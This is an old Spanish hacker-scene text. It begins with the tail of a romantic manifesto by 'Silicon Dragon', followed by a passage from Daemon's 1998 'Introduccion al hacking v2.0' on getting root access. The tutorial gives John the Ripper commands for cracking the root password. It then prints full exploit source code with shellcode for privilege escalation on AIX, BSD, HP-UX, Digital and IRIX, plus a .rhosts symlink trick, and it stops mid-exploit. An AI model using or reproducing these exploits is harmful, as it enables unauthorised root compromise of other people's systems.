"nosotros" hemos perjudicado. !!!!Nosotros!!!! que nuestro afan no es enrriquezernos como ellos hacen. !Tienen miedo! de que les quitemos su maravilloso dinero, sus estructuras organizadas, su mundo gris y falto de libertad. !!!!Nosotros!!!! que nos guian un afan de superacion, de busqueda de conocimientos, !No para enrriquezernos! como hace nuestra sociedad decrepita sino para aumnetar nuestros conocimientos nuestra mente sin fronteras nuestra libertad. ­­­­Nosotros!!!! que buscamos la libertad, que defendemos causas justas, que no molestamos, da¤amos, matamos..... ­­­­Nosotros!!!! esa tribu de malditos que nos temen por nuestro poder, por las ideas que afirmamos, por nuestra libertad. Nosotros los hackers. Pero volvamos al tema que nos ocupa en este articulo. Me acuerdo de cierto amigo de electrones, ¨No adivinariais quien es?, al cual lo podemos llamar el dragoncito, je je je ya os lo imaginais quien ;) . Bueno pues ese amigo ,el dragoncito, era un chico, lo siento pero eso es innegable :)))) , que a muy tierna edad y por los azares de la vida termino un verano delante de un ordenador, un 8086 o 80186, corria el a¤o 85 (¨¨¨hace tiempo eh???) y sin nada por hacer, con mucho tiempo libre y algo de curiosidad, bueno lo admito mucha :))). Bueno, ese chico aprendio lo que podria llamarse los fundamentos de la informatica y la programacion (el BASIC ¨Vamos o creeis que empezo con ensamblador y binario?) el tiempo paso, mas o menos rapido, y hacia el a¤o 1995-96 empezo lo que la mayoria de la gente llamaria inicio de una "carrera delictiva" o "fue por el mal camino" o "las malas compa¤ias" o "le comieron la cabeza"...... vamos tonterias. Yo diria que inicio su vida en el fascinante mundo de internet donde todo es posible y se haya al alcance de nuestros programillas y nuestras mentes inquietas je je o vosotros que leeis esto no creeis en esta verdad. El hecho de tener una conexion a INTERNET es una ventaja que obviamente todos los que esteis leyendo esto teneis, a los demas les cobro derechos de autor :)))). Fue en ese momento, cuando el peque¤o dragon optuvo la conexi¢n, cuando pudo continuar sus andanzas por el mundo de los ordenadores, los cuales havia abandonado, porque mira que los libros de informatica suelen ser aburridos de cojones uffffff, y ya que habia oido algo hacerca de esos "peligrosos criminales" llamados hackers :))))))), ¨A que no sabeis que descubrio? "ostia si no son ni criminales, ni terroristas, ni locos, ni ladrones, son gente normal como yo!!!!" en fin la mascara con la que la sociedad nos cubre afecta a todos... Pues bien, el amigo dragoncito, como asi se llamaba ;) creo XDD, empezo a descubrir paginas en internet que le daban cierta informacion, truquillos, solo a nivel educativo :)) en fin lo que le encaminaria hacia las tinieblas( o en mi opinion hacia la luz, en INTERNET, es decir al dominio de la web, traspaso de ficheros, telnet, port spoofing, bugs de seguridad, passwords, root...) que le permitirian de una manera no da¤ina y recalco esto no da¤ina aprovechar todos los recursos que encontro en este mundo de electrones que corre a traves de lineas telefonicas, hondas herzianas y cables de fibra de vidrio a velocidades increibles, aumentando sus conocimientos hasta poder al fin, empezar a conocer este nuestro mundo donde todos somos maestros y alumnos, nadie sabe todo y de todos y en el que cualquiera (incluso los lamers) puede ense¤ar algo (en el caso de los lamers lo que no debes hacer XDDDD) Una de las primeras cosas que el y todo aspirante a hacker suelen hacer es leer todo lo posible sobre este tema a lo largo de la red, como el hizo, es en el unico sitio donde se encontraria la verdad sobre tecnicas, estilos y codigos sobre nuestro/vuestro entretenimiento/trabajo/vida como hackers, como ser que se desplaza a traves de corrientes de datos sin que nadie pueda ni detectarlo ni pararlo, ni atacarle ni dominarlo. Lo mas dificil (pero al alcance de todos) fue encontrar la primera pagina web sobre este tema, ya que no suelen estar en la guia telefonica para que cualquiera llame y pregunte como ser un hacker (los lamers intentan algo asi XDDD) de ahi en adelante, pudo llegar a encontrar links (enlaces burros!!!) a otras paginas y asi entrar en el entramado de los conocimientos que se guardan en INTERNET, el mundo de electrones representados por conjuntos de bits el cual con nuestra "magia" dominamos y con esta energia creamos un argamedon de poder y un nuevo mundo a nuestro antojo (que filosofico me pongo a veces :)))). Otra de las cosas que le facilitaron el integrarse en la "tribu" fueron unos conocimientos minimos sobre programacion, :(( si se que los libros de programacion suelen ser aburridos, lentos y estupidos, pero hay k joderse y aprender algo ya que es fundamental para ser un hacker, si no conformate con ser un cracker (lo cual no es necesariamente malo), bajate alguno de sus ficheros y rompe todo por donde pases como hizo Atila con los Romanos (el rey de los Hunos, tribu aliada de Cartago peazo bestia no es un hacker famoso :))) pero piensa que: 1- Va en contra de nuestra etica, 2- Realmente cualquiera puede hacer eso, es realmente facil bajarse ficheros de internet; 3- Eso no es propio de un hacker sino de un cracker (no son peores pero tienen una concepcion diferente ). Y finalmente otra de las cosas que le ayudaron fueron conocer a unos amigos (hackers no iban a ser cocineros, con todo mis respetos a estos ultimos :))))) que le explicaron algunas cosillas y le ense¤aron donde localizar otras, la verdad es que el dragoncito es el amigo que todos quieren, le gustaba y le gusta aprender y suele ser simpatico (Lo siento pero su abuela no esta aqui para echarle flores :))). Por otro lado, el IRC fue y es un buen sitio donde pedir ayuda, no siempre (o casi nunca lo reconozco) le contestaron (en cuanto le conocieron si, es que hay mucho IRC-COP ) pero de vez en cuando si. De paso saludos para los del canal #hackers del IRC-hispano (donde normalmente se habla de todo menos de la tematica del hacker, aunque te lo pasas bien je je je y a veces te ayudan, lo digo por esperiencia son buena gente, lo malo es cuando se aburren y les da por nukear a alguien ;) ). Pero bueno sigamos con la jodia historia..... El hecho de aprender y buscar ayuda, es si no el unico, si el mejor camino para adentrarse en este mundo. La ayuda siempre viene bien porque me acuerdo de lo que le paso en su primer telnet, llamando a un numero aleatorio que se le ocurrio termino dando con un ordenata que cada vez que le preguntaba algo le daba su direccion de ip (la del dragocillo) o otra vez que mando un e-mail falso a un amigo y resulta que el servidor al que se habia conectado escribio el nombre "supuesto" el remitente a continuacion del real (a tomar por culo el anonimato) todo ello le paso por no consultar a los que si que sabian eso lo nuestro es una busqueda de informacion y que mejor forma de distribuirla que compartirla entre nosotros que somos los mas interesados en que la informacion y la libertad se mantenga en INTERNET. La libertad de los hackers es fundamental para el mantenimiento de la libertad en INTERNET. No solo entre la cultura underground sino de todos los usuarios que utilizan este medio. Esta es la razon por lo que el peque¤o dragoncito se metio en este mundillo, por la que los hackers siguen luchando a pesar de que constantemente se les fustiga desde todos los angulos de la sociedad. El nuestro es un trabajo vital y a mi/nosotros me/nos gusta nuestra libertad que no cambiaria por nada. En el camino para convertirse en hackers muchos pierden el rumbo, quizas es un camino dificil, pero merece la pena. No ir por falsos atajos se llega antes al final. Como dijo un famoso poeta Espa¤ol "Caminante no hay camino, el camino se hace al andar". (Soy un chico culto ;) ). No somos hackers por tener los conocimientos lo somos al investigar; al buscar nuevos conocimientos, cuando ayudamos al nuevo a conocer el mundo, a buscar conocimientos, a escapar del mal, a respetar el codigo; al ampliar la libertad en INTERNET al luchar por ella contra los que intentan socavarla; al caminar; AL HACKEAR. Hemos nacido para ello somos los paladines de una causa justa, nadie debe cuartar nuestras libertades somos los dragones del amanecer de una nueva epoca, nos pueden llamar malvados pero el tiempo demostrara que hemos sido los cruzados de la causa de la libertad en INTERNET, vigilaremos a los poderes y no les dejaremos actuar contra nuestra libertad contra nosotros, al fin y al cabo, sabemos quienes somos y que queremos,la buskeda del conocimiento no sera parada asi que amigos, veteranos y novatos no os rindais a pesar de los surquemos los espacios virtuales, navegemos por los mares del conocimiento utilizemos nuestras garras de electrones nuestros cerebros de aluminio y silicio, y hagamos aquello que nos da la libertad y para lo que hemos nacido: SOMOS HACKERS Y AQUI ESTAMOS.... y que lo sepan nuestros enemigos saldremos victoriosos de las batallas, el futuro los odiara y nos aclamara por nuestra libertad entre bites y silicio. ------------------------------------------------------------------------------ Devo dar las gracias a mucha gente que me ha ayudado a entrar en este fascinante mundo, ups, digo ayudaron al dragoncito a entrar ;), algunos de una forma activa como Bisho al cual le, otro ups el dragoncito, le debe mucho. Otros escribiendo articulos o manteniendo paginas donde localizar los conocimientos oscuros (je je je me he rayao) como: J.J.F./ Hackers Team, Wakanda, Van Hackez, Sakeadores........ y muchos otros que si los pusiera en este articulo ocuparian Mb enteros y para los que brindo mi mayor apollo ya que sin ellos nuestro mundo no seia el mismo INTERNET no seria el mundo de libertad que es y nosotros, la trivu, no tendriamos donde habitar oscurecidos por los poderes malignos (ahora si que me he rayao) que intentan doblegarnos AUNQUE NUNKA LO LOGRARAN porque soy un hacker (novato eso si) y mi trivu me protegera y me ayudara a defenderme, tenemos el poder y sabemos como usarlo para conservar nuestra/vuestra libertad, SOMOS HACKERS, SOMOS LIBRES. ------------------------------------------------------------------------------ by Silicon Dragon e-mail dragonsilicio@bigfoot.com ------------------------------------------------------------------------------ La distrivucion de este texto es completamente libre salvo que sea usado por fuerzas de seguridad (en cuyo caso deberan de pagar por su uso una cantidad no inferior a $1,000,000.00) o para su uso en cualquier tipo de juicios y ese tipo de cosas (si no lo tienes claro preguntame XDDD) en cuyo caso los derechos del autor (yo) son los mismos que en el caso de la policia (a pagar chatos). Para los demas con meros fines educativos y tal es gratis :))). <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ Û INTRODUCCION AL HACKING v2.0 Û ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ POR DAEMON 25-01-1998 Daemond@usa.net Dillet@usa.net 7.- CONSEGUIR ACCESO DE ROOT En esta seccion voy a explicar tres metodos para conseguir root aunque hay algunos mas que quiza adjunte en posteriores ediciones. Los que voy a explicar aqui son la fuerza bruta, los xploits para pillar root y troyanos. 7.1.- FUERZA BRUTA En fin, se puede intentar sacar el password del root a partir del fichero /etc/passwd pero sinceramente es muy dificil ke el root sea tan tordo de tener un password sencillo aunque funciona aproximadamente un 5% de los casos que algo es algo (mi experiencia es ke kada 10-15 makinas sako un password de root kon fuerza bruta usando solo los diccionarios usuales). Si no tienes mas recursos para pillar el root, puedes probar a sacar el passwd de root usando el modo incremental en cualquier crackeador. En el caso del john the ripper, la sintaxis seria john -i -rules -users:0 ficheropasswd. He de avisar que el metodo incrementar es una locura, de hecho hay textos por ahi diciendo que tardaria a¤os en sacar el passwd. Yo solo he probado una vez este metodo para ver que tal iba y me saco el passwd tras unas 70 horas, pero tras hablar con gente por ahi.. creo que tuve suerte., es decir que de aqui se deduce que no vale la pena.. porque tener la maquina en marcha alomejor 100 horas o las que sean es una chorrada cuando se puede rular algun xploit y pillar el root en 5 minutos :-) De todos modos, una manera de trabajar seria no dedicar especial atencion al modo incremental, pero tras sacar algunas cuentas de usuarios normales, pasar algunos diccionarios con la opcion: John -wordfile:dict.txt -rules -users:0 passwd Y si rula, rula que tampoco se pierde tanto tiempo en pasar un par de diccionarios :o) Pero en fin, en general el metodo mas rapido es usar un xploit como se comentara a continuacion aunque puede haber casos en los que el sistema operativo en el que estais no encontreis xploits (sistemas operativos raros) o que estos xploits no funcionen por lo que estando muy desesperados podeis hacerlo asi aunque en el caso de que los xploits no funcionen es ke posiblemente el root kontrole y no creo que tenga un passwd sencillo, pero en fin.. nunka se sabe :) 7.2.- XPLOITS En esta seccion voy a intentar poner uno de cada sistema operativo de los que suele haber por ahi y ademas voy a intentar que sean nuevecillos .. pero como siempre se pueden buscar en la red (siempre tengo el correo abierto para mails diciendome ftp buenos jeje). Para entender el funcionamiento de la mayoria de ellos, los famosos buffer overflow, puedes leer algunos articulillos que hay en la red de Aleph One o Mudge por poner algunos ejemplos.. opino que valen la pena ;o) Bueno.. aqui va el rollo de xploits (pongo uno de cada pero aconsejo que tengais por lo menos 10 de cada sistema operativo porque luego puede pasar que no tengas uno de una version determinada, que no rule, etc. Ademas aconsejo que los ordeneis por sistemas operativos en directorios separados y si eres muy currante los puedes ordenar hasta por versiones del sistema operativo, pero eso ya es solo para gente ordenada jeje): No los pongo traducidos ya que creo que es una currada que no sirve para nada porque son de facil lectura. Ahi van: AIX ------------ Codigo Fuente --------------------------------------------------- /* Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle properly the HOME environment variable and that spawns a root shell. A lot of other X programs have the same problem and /bin/X11/xlock is well known to be exploitable. Tested on AIX 4.2 box. SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock OR apply patches */ /* AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski ---------------------------------------- DISCLAIMER This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, his employer or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of this program is not Georgi Guninski's responsibility. In case you distribute this, please keep the disclaimer and my addresses. ----------------------------------------- Use the IBM C compiler. Compile with: cc -g aixdtaction.c DISPLAY should be set. SOLUTION: #chmod -s /usr/dt/bin/dtaction ; at least stops root shells ----------------- Georgi Guninski guninski@hotmail.com http://www.geocities.com/ResearchTriangle/1711 Suggestions,comments and job offers are welcome! 10-JUNE-97 */ #include #include #include char *prog="/usr/dt/bin/dtaction"; char *prog2="dtaction"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); return c; } /*The program*/ main(int argc,char **argv,char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 60632c48 lis r3,r3,11336 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 60634c0c lis r3,r3,19468 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn=100; int max=280; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; unsigned int reta; /* return address */ int corr=3400; char *args[4]; char *newenv[8]; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=(unsigned) &buf[0]+corr; for(nop=0;nop #include #include #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 256 long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; /* so you dont have to disassemble it, here is the asm code: start: jmp endofk0dez realstart: popl %esi leal (%esi), %ebx movl %ebx, 0x0b(%esi) xorl %edx, %edx movl %edx, 7(%esi) movl %edx, 0x0f(%esi) movl %edx, 0x14(%esi) movb %edx, 0x19(%esi) xorl %eax, %eax movb $59, %al leal 0x0b(%esi), %ecx movl %ecx, %edx pushl %edx pushl %ecx pushl %ebx pushl %eax jmp bewm endofk0dez: call realstart .byte '/', 'b', 'i', 'n', '/', 's', 'h' .byte 1, 1, 1, 1 .byte 2, 2, 2, 2 .byte 3, 3, 3, 3 bewm: .byte 0x9a, 4, 4, 4, 4, 7, 4 */ char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50" "\xeb\x18" "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02" "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04"; int i; int ofs = DEFAULT_OFFSET; /* if we have a argument, use it as offset, else use default */ if(argc == 2) ofs = atoi(argv[1]); /* print the offset in use */ printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; /* write the return addresses ** ** return address 4 ** ebp 4 ** register unsigned n 0 ** register char *cp 0 ** register struct syment *s 0 ** ** total: 8 */ addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL); } ------------ FIN ------------------------------------------------------------- FREEBSD ------------ Codigo Fuente --------------------------------------------------- There is a BSD exploit that works on the termcap file. it has some entries like this. telnet> env def TERM access telnet> env def TERMCAP /path/and/name/of/uploaded/file telnet> open victim.host.com and the source code is here: --------SNIP----- #include #include #include #define filename "./termcap" #define entry "access|Gimme r00t:\\\n :" #define bufsize 1300 #define default_offset 870 /* Should work...*/ char shellcode[] = "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh"; long get_sp(void) { __asm__("movl %esp, %eax\n"); } int main(int argc, char *argv[]) { int i, fd, offs; long *bof_ptr; char *ptr, *buffer, *tempbuf; offs = default_offset; if(argc == 2) { printf("using offset: %d\n",atoi(argv[1])); offs = atoi(argv[1]); } if(!(buffer = malloc(bufsize))) { printf("can't allocate enough memory\n"); exit(0); } if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) { printf("can't allocate enough memory\n"); exit(0); } bof_ptr = (long *)buffer; for (i = 0; i < bufsize - 4; i += 4) *(bof_ptr++) = get_sp() - offs; ptr = (char *)buffer; for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++) *(ptr++) = 0x90; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; printf("Creating termcap file\n"); snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer); fd = open(filename, O_WRONLY|O_CREAT, 0666); write (fd, tempbuf, strlen(tempbuf)); close(fd); } ------------ FIN ------------------------------------------------------------- DIGITAL CON DBX ------------ Codigo Fuente --------------------------------------------------- If you run dbx (tested on 3.11.10) on a setuid root program that you have read access to, the program will core dump and create a root owned 600 perm core in the current directory. You might have to run dbx one or two times to get it to work.. The message you are looking for is: dbx version 3.11.10 Type 'help' for help. warning: /bin/crontab has no symbol table -- very little is supported without it Could not attach to process 10112 cannot run program Exiting due to error during startup Now, this core dump will follow symlinks.. and using the trick mentioned earlier with embedding + + in a core dump, you can easily grab root. ln -s /.rhosts core BOB42=" + + " export BOB42 dbx /bin/crontab rsh -l root localhost /bin/sh -i ------------ FIN ------------------------------------------------------------- HP-UX ------------ Codigo Fuente --------------------------------------------------- /*** * * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit. * * This bug is exhibited in all versions of HP-UX that contain * /usr/etc/vhe/vhe_u_mnt setuid to root. * * This program written by pluvius@io.org * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de * * I found that the exploit code didn't always work due to a race between * the child and the parent, and that a link() called failed due to * the fact that user directories and the /tmp are in different file systems * so you must create a symlink. * I added in a call to alarm() so that the timing between the two processes * is ok.. * ***/ #include #include #include #include #include #include #include #include #include #include #define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt" #define NAME "" int test_host() { struct utsname name; uname(&name); return !strcmp(name.sysname,"HP-UX"); } int check_mount() { struct stat my_buf; if (stat(BUGGY_PROG, &my_buf)) return 0; return !((my_buf.st_mode & S_ISUID) != S_ISUID); } void pause_handler() { signal(SIGALRM,pause_handler); } int rhost_user(user) char *user; { struct passwd *info; char homedir[80]; int fd[2]; int procno; struct stat my_buf; int fsize; info = getpwnam(user); if (info==NULL) { fprintf(stderr,"ERROR: Unknown user %s\n",user); exit(-3); } strcpy(homedir,info->pw_dir); if (homedir[strlen(homedir)-1] != '/') strcat(homedir,"/"); strcat(homedir,".rhosts"); signal(SIGALRM,pause_handler); memset(my_buf,0,sizeof(my_buf)); stat(homedir,&my_buf); fsize = my_buf.st_size; /* now the exploit code... slightly modified.. but mostly from the source */ /* by misar@rbg.informatik.th-darmstadt.de */ pipe(fd); if (!(procno=fork())) { close(0); dup(fd[0]); close(fd[1]); close(1); close(2); alarm(2); /* wait for other process */ nice(5); execl(BUGGY_PROG,NAME,NULL); } else { FILE *out; char listfile[25]; char mntfile[25]; struct stat dummy; close(1); dup(fd[1]); close(fd[0]); write(1,"+\n",2); sprintf(listfile,"/tmp/vhe_%d",procno+2); sprintf(mntfile,"/tmp/newmnt%d",procno+2); while (stat(listfile,&dummy)); unlink(listfile); out=fopen(listfile,"w"); fputs("+ +\n",out); fclose(out); unlink(mntfile); symlink(homedir,mntfile); waitpid(procno,NULL,0); } stat(homedir,&my_buf); return (fsize != my_buf.st_size); } void main(argc,argv) int argc; char *argv[]; { int i; int rhost_root = 0; char userid[10]; if (!test_host()) { fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n"); exit(-1); } if (!check_mount()) { fprintf(stderr, "ERROR: %s must exist and be setuid root to exploit this bug\n", BUGGY_PROG); exit(-2); } for (i=0;(i<5)&&(!rhost_root);i++) { fprintf(stderr,"Attempting to .rhosts user root.."); if (!rhost_user("root")) { fprintf(stderr,"failed.\n"); } else { fprintf(stderr,"succeeded\n"); rhost_root = 1; } } if (!rhost_root) { /* failed to rhost root, try user 'bin' */ fprintf(stderr,"Too many failures.. trying user bin..."); if (!rhost_user("bin")) { fprintf(stderr,"failed.\n"); exit(-4); } fprintf(stderr,"succeeded.\n"); strcpy(userid,"bin"); } { strcpy(userid,"root"); } fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n", userid); } ------------ FIN ------------------------------------------------------------- OTRO PARA HP ------------ Codigo Fuente --------------------------------------------------- /* SOD /usr/diag/bin/[cm]stm buffer overflow */ main() { char buf[500]; strcpy(buf,"\x41\x41\x34\x01\x01\x02\x08\x22\x04\x01\x60\x20\x02\xa6\x60\x20 \x02\xac\xb4\x3a\x02\x98\x34\x16\x01\x76\x34\x01\x02\x76\x08\x36\x02\x16\x0 8\x21\x02\x80\x20\x20\x08\x01\xe4\x20\xe0\x08\x08\x21\x02\x80\x43\x43\x43\x 43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\ x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4 3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x 43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\ x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4 3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x 43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\ x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4 3\x43\x43\x43\x43\x43\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x69\x2e\x44\x44\x4 4\x44\x44\x7b\x03\x30\x1b"); execl("/usr/diag/bin/mstm","/usr/diag/bin/mstm","-l",buf,(char *)0); /* Either-or, same overflow */ execl("/usr/diag/bin/cstm","/usr/diag/bin/cstm","-l",buf,(char *)0); } ------------ FIN ------------------------------------------------------------- IRIX 6.2-6.3 ------------ Codigo Fuente --------------------------------------------------- Irix buffer overflow in /usr/bin/X11/xlock The exploit as posted works on Irix 6.3. To get it to work on 6.2, either change OFFSET from 0x118 to 0x160, or pass the program '20' as a parameter. Note that the shell spawned as a result of this exploit has uid=0, euid=youruserid. To make your euid=0 you'll need a program like the following: void main(void) { setuid(0,0); execl("/bin/sh", "sh", 0); } Regards, David Hedley (hedley@cs.bris.ac.uk) ------------------- cut here ------------------------- /* /usr/bin/X11/xlock exploit by DCRH 25/5/97 * * Tested on: R5000 O2 (Irix 6.3) * R8000 Power Challenge (Irix64 6.2) * * For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter * * Exploit doesn't work on Irix 5.x due to stack position * * compile as: cc -n32 xlock.c */ #include #include #include #include #include #define NUM_ADDRESSES 800 #define BUF_LENGTH 80 #define EXTRA 190 #define OFFSET 0x118 /* 0x160 for Irix 6.2 */ #define GP_OFFSET 32472 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e000